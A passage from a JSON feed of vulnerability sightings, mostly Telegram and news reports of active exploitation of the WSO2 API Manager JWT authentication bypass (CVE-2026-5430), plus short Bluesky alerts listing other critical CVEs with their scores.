\u0646\u0627\u062f\u0631\u0633\u062a \u0627\u0645\u0636\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0641\u0631\u0627\u06cc\u0646\u062f \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a JWT \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u0627\u0645\u0636\u0627\u0634\u062f\u0647 \u0628\u0627 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc\u200c\u0646\u0634\u062f\u0647\u060c \u0627\u062c\u0627\u0632\u0647 \u0639\u0628\u0648\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0648 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u062a\u0635\u0627\u062d\u0628 \u06a9\u0627\u0645\u0644 \u062d\u0633\u0627\u0628 \u06a9\u0627\u0631\u0628\u0631\u06cc\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc\u060c \u0645\u0646\u062c\u0631 \u0634\u0648\u062f.\n\n\u0647\u0627\u0646\u06cc\u200c\u067e\u0627\u062a\u200c\u0647\u0627\u06cc watchTowr \u062f\u0631 \u062a\u0627\u0631\u06cc\u062e \u06f1\u06f3 \u0633\u067e\u062a\u0627\u0645\u0628\u0631\u060c \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc JWT \u062c\u0639\u0644\u06cc \u062d\u0627\u0648\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u067e\u06cc\u0634 \u062a\u0639\u0628\u06cc\u0647\u200c\u0634\u062f\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635\u060c \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u06f4.\u06f1.\u06f0 \u062a\u0627 \u06f4.\u06f6.\u06f0 \u0627\u0632 API Manager\u060c API Control Plane\u060c Traffic Manager \u0648 Universal Gateway \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\n\n\u0628\u0647 \u06af\u0641\u062a\u0647 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646\u060c \u0627\u06cc\u0646 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u062c\u0639\u0644\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u062a\u0645\u0627\u0645 \u0646\u0642\u0627\u0637 \u067e\u0627\u06cc\u0627\u0646\u06cc \u0628\u06a9\u200c\u0627\u0646\u062f\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u0645\u0635\u0631\u0641\u200c\u06a9\u0646\u0646\u062f\u0647 \u0648 \u0627\u0633\u0631\u0627\u0631 \u062a\u0645\u0627\u0645 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646\u200c\u0647\u0627\u06cc \u062b\u0628\u062a\u200c\u0634\u062f\u0647 \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u0646\u062f \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0645\u06a9\u0627\u0646 \u062d\u0631\u06a9\u062a \u062c\u0627\u0646\u0628\u06cc \u062f\u0631 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u062f\u0627\u062e\u0644\u06cc \u0633\u0627\u0632\u0645\u0627\u0646 \u0631\u0627 \u0628\u062f\u0647\u0646\u062f.\n\n\n\u062c\u0647\u062a \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0627\u0645\u0644 \u062e\u0628\u0631 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f\n\n\ud83c\udd94 @TakianCo\n\ud83c\uddee\ud83c\uddf7", "creation_timestamp": "2026-09-17T01:00:03.841029Z"}, {"uuid": "d3944e15-b652-43fb-bf94-70c7b7cbb177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://t.me/CyberDispatch/2964", "content": "Forged admin JWTs are being used in WSO2 API Manager exploitation attempts.\n\nCVE-2026-5430 lets unsupported JWT algorithms bypass authentication and can lead to account takeover. Fixes are available.", "creation_timestamp": "2026-09-17T01:00:04.443787Z"}, {"uuid": "f4a0409c-8e5d-425e-81a8-5f4fdf0b316a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "exploited", "source": "https://t.me/thehackernews/10066", "content": "\u26a0\ufe0f Forged admin JWTs are being used in WSO2 API Manager exploitation attempts.\n\nCVE-2026-5430 lets unsupported JWT algorithms bypass authentication and can lead to account takeover. Fixes are available.\n\nRead: https://thehackernews.com/2026/09/active-exploitation-attempts-target.html", "creation_timestamp": "2026-09-17T01:00:04.539372Z"}, {"uuid": "8adbb526-6e08-4bfe-b7c6-dce49886123f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://thehackernews.com/2026/09/active-exploitation-attempts-target.html", "content": "A critical security flaw in WSO2 API Manager has come under active exploitation in the wild, according to findings from watchTowr.\n\nThe vulnerability, tracked as CVE-2026-5430 (CVSS score: 9.8/10.0), is a case of improper verification of a cryptographic signature that could result in account takeover. Hacktron Team has been credited with discovering and reporting the flaw.\n\n\"JWT authentication", "creation_timestamp": "2026-09-17T01:00:36.338385Z"}, {"uuid": "d425bb9c-1fe7-48c5-8e25-ace6322e3d0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://www.securityweek.com/enterprises-warned-of-attacks-exploiting-wso2-vulnerability/", "content": "The vulnerability, tracked as CVE-2026-5430, can be exploited to gain access to valuable enterprise data.\n\nThe post Enterprises Warned of Attacks Exploiting WSO2 Vulnerability appeared first on SecurityWeek.", "creation_timestamp": "2026-09-17T01:00:36.494733Z"}, {"uuid": "8cf17ed8-5a37-447c-ba2c-f6c25a30453e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f259b169-f7e7-4be8-9dae-1a7a384eba15", "content": "", "creation_timestamp": "2026-09-17T06:01:19.506128Z"}, {"uuid": "cc55e27e-0e5e-4c93-b8bc-23c16a45410e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://t.me/pphm_HackerNews/3181", "content": "\ud83d\udd34 Active Exploitation Attempts Target WSO2 API Manager JWT Bypass With Forged Admin Tokens\n\nA critical security flaw in WSO2 API Manager has come under active exploitation in the wild, according to findings from watchTowr.\n\nThe vulnerability, tracked as CVE-2026-5430 (CVSS score: 9.8/10.0), is a case of improper verification of a cryptographic signature that could result in account takeover. Hacktron Team has been credited with discovering and reporting the flaw.\n\n\"JWT authentication can be bypassed when a token is signed using an unsupported algorithm, allowing unauthorized access,\" according to an advisory released by WSO2 in May 2026. \"Successful exploitation of the vulnerability may lead to unauthorized access, including potential compromise of administrative accounts and full account takeover.\"", "creation_timestamp": "2026-09-17T11:00:04.435073Z"}, {"uuid": "ed6ec0d3-53b6-4105-9de7-9535cb39359a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54196", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/981aac5c-5075-4d2d-b365-6ed8b27d86d0", "content": "", "creation_timestamp": "2026-09-17T12:00:27.543534Z"}, {"uuid": "74e9fbba-6ba9-479a-915b-47243b515f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mvqdsjz25s2f", "content": "WSO2 CVE-2026-5430: Authentication Bypass in API Management Infrastructure via JWT with Unsupported Algorithm dev.to/anoymask/wso...", "creation_timestamp": "2026-09-17T19:03:41.190828Z"}, {"uuid": "17961bf3-a78b-4ecc-be14-b9bb157de161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54053", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqhhmg6y42b", "content": "\ud83d\udea8 CVE-2026-54053 \u2014 CVSS 9.6 CRITICAL\n\nMany Notes is a Markdown note-taking web application designed for simplicity. Prior to 0.16.0, the ZIP vaul...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54053\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T20:09:08.437325Z"}, {"uuid": "dd2703cd-a277-4f5d-9df0-2b512c512993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54617", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqhhuy2mf2f", "content": "\ud83d\udea8 CVE-2026-54617 \u2014 CVSS 9.8 CRITICAL\n\nGravitLauncher is an open-source Minecraft launcher based on sashok724's v3. Prior to 5.7.12, an unauthenti...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54617\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T20:09:16.378651Z"}, {"uuid": "2402a258-5bef-4c6c-966f-738f4b9be88e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54627", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqkeikbtr2w", "content": "\ud83d\udd34 CVE-2026-54627 - Critical (9.8)\n\nSAIL is a cross-platform library for loading and saving images with support for animation, metada...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54627/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T21:01:05.180071Z"}, {"uuid": "54eb01f3-b027-435d-9081-7b981b849e95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54692", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqkfsefa32r", "content": "\ud83d\udfe0 CVE-2026-54692 - High (7.8)\n\nSAIL is a cross-platform library for loading and saving images with support for animation, metada...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54692/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T21:01:50.012719Z"}, {"uuid": "f585a099-b7cf-4897-9a2c-8970ca58f6d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54716", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqkg2c2ri2v", "content": "\ud83d\udfe0 CVE-2026-54716 - High (7.5)\n\nValhalla is an open source routing engine and accompanying libraries for use with OpenStreetMap d...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54716/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T21:01:57.344787Z"}, {"uuid": "af257ffa-f5b2-4de5-a6d6-03ff158f382a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54752", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqkgbjmrr2e", "content": "\ud83d\udd34 CVE-2026-54752 - Critical (9.6)\n\nNetBox Device Type Library is a collection of community-sourced device type definitions for impor...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54752/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T21:02:05.204972Z"}, {"uuid": "5a488548-4bb6-4f08-b9cb-ca08e327bb0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54716", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mvqkhn6knz2c", "content": "\ud83d\udfe0 CVE-2026-54716 - High (7.5)\n\nValhalla is an open source routing engine and accompanying libraries for use with OpenStreetMap d...\n\nhttps://www.themasherwire.com/vulnerability/CVE-2026-54716/\n\n#infosec #potatosecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T21:02:49.480127Z"}, {"uuid": "9d806380-262b-415a-97db-92847b275766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54752", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mvqkt4jw642n", "content": "\ud83d\udd34 CVE-2026-54752 - Critical (9.6)\n\nNetBox Device Type Library is a collection of community-sourced device type definitions for impor...\n\nhttps://www.themasherwire.com/vulnerability/CVE-2026-54752/\n\n#infosec #potatosecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T21:09:14.741840Z"}, {"uuid": "bc0fdf32-47b3-473d-b873-9fa237d23cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54618", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo3jzrrg25", "content": "\ud83d\udea8 CVE-2026-54618 \u2014 CVSS 9.4 CRITICAL\n\nObsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54618\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:07:40.168800Z"}, {"uuid": "a3881938-a273-418c-94e4-9fdf91dace99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54626", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo3scsmo2g", "content": "\ud83d\udea8 CVE-2026-54626 \u2014 CVSS 9.8 CRITICAL\n\nSAIL is a cross-platform library for loading and saving images with support for animation, metadata, and IC...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54626\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:07:47.171758Z"}, {"uuid": "da7e436a-e4d2-4aa0-8a90-8c9e57a7924b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54627", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo42eegg25", "content": "\ud83d\udea8 CVE-2026-54627 \u2014 CVSS 9.8 CRITICAL\n\nSAIL is a cross-platform library for loading and saving images with support for animation, metadata, and IC...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54627\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:07:55.690181Z"}, {"uuid": "c184d911-9f28-42d3-9ae3-1e23bf1b04b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54752", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo4conf42y", "content": "\ud83d\udea8 CVE-2026-54752 \u2014 CVSS 9.6 CRITICAL\n\nNetBox Device Type Library is a collection of community-sourced device type definitions for import into Net...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54752\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:08:04.497893Z"}, {"uuid": "137f85da-504e-4fac-9a13-4e5b377b6656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54237", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo52xhz32j", "content": "\ud83d\udea8 CVE-2026-54237 \u2014 CVSS 9.3 CRITICAL\n\nWavelog is web-based amateur radio logging software. From 1.8 until 2.4.2, Wavelog exposes /install/ajax.ph...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54237\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:08:29.665363Z"}, {"uuid": "10d17f90-82e4-4381-96c0-4a2e820e52b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54460", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo5cy3ao25", "content": "\ud83d\udea8 CVE-2026-54460 \u2014 CVSS 9.8 CRITICAL\n\nOpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform....\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54460\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:08:38.161780Z"}, {"uuid": "e475dafe-533b-412c-8387-64baa5306726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54501", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvqo5kugkm22", "content": "\ud83d\udea8 CVE-2026-54501 \u2014 CVSS 9.4 CRITICAL\n\nBrowsertrix is a high-fidelity, browser-based crawling service for web archiving that can be self-hosted or...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54501\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-17T22:08:46.725946Z"}, {"uuid": "08413980-e5c7-44a7-adf5-bdf1e47a1eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54626", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvqoli4dbi2u", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54626: SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles\nCVSS 9.8\nhttps://beta.vulnsea.com/cve/CVE-2026-54626\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-17T22:16:33.646322Z"}, {"uuid": "1d4cd138-bc61-41e4-b819-eabe6245abe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54671", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqr2yombp2v", "content": "\ud83d\udfe0 CVE-2026-54671 - High (8.8)\n\nWeGIA is a web manager for charitable institutions. Prior to 3.8.5, WeGIA maps InternoControle to...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54671/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T23:01:03.809505Z"}, {"uuid": "90d8bc1d-f0a8-4abe-a6b8-be3f06d18da3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54734", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqr3auarc2p", "content": "\ud83d\udd34 CVE-2026-54734 - Critical (10)\n\nPrebid Server Java is the Java version of Prebid Server. Prior to 3.43.0, certain bidder adapters...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54734/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T23:01:11.270422Z"}, {"uuid": "587390ed-804d-401e-9432-e2403d52840c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54767", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqr4for7s2s", "content": "\ud83d\udd34 CVE-2026-54767 - Critical (9.1)\n\nWeGIA is a web manager for charitable institutions. Prior to 3.8.5, web/html/socio/sistema/contro...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54767/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T23:01:49.803664Z"}, {"uuid": "8de03a05-9eef-494b-b6eb-15528ddd1400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54670", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqr4mzuzc24", "content": "\ud83d\udd34 CVE-2026-54670 - Critical (9.1)\n\nWeGIA is a web manager for charitable institutions. Prior to 3.8.5, the contribution request disp...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54670/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T23:01:57.773370Z"}, {"uuid": "1373c42b-e6f0-4f57-82c9-c5e4614bdc78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvqr4u5gqx2e", "content": "\ud83d\udfe0 CVE-2026-54520 - High (8.1)\n\nAI Agent Automation is a modular AI agent workflow automation platform with schedulers, tools, an...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54520/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-17T23:02:04.982269Z"}]}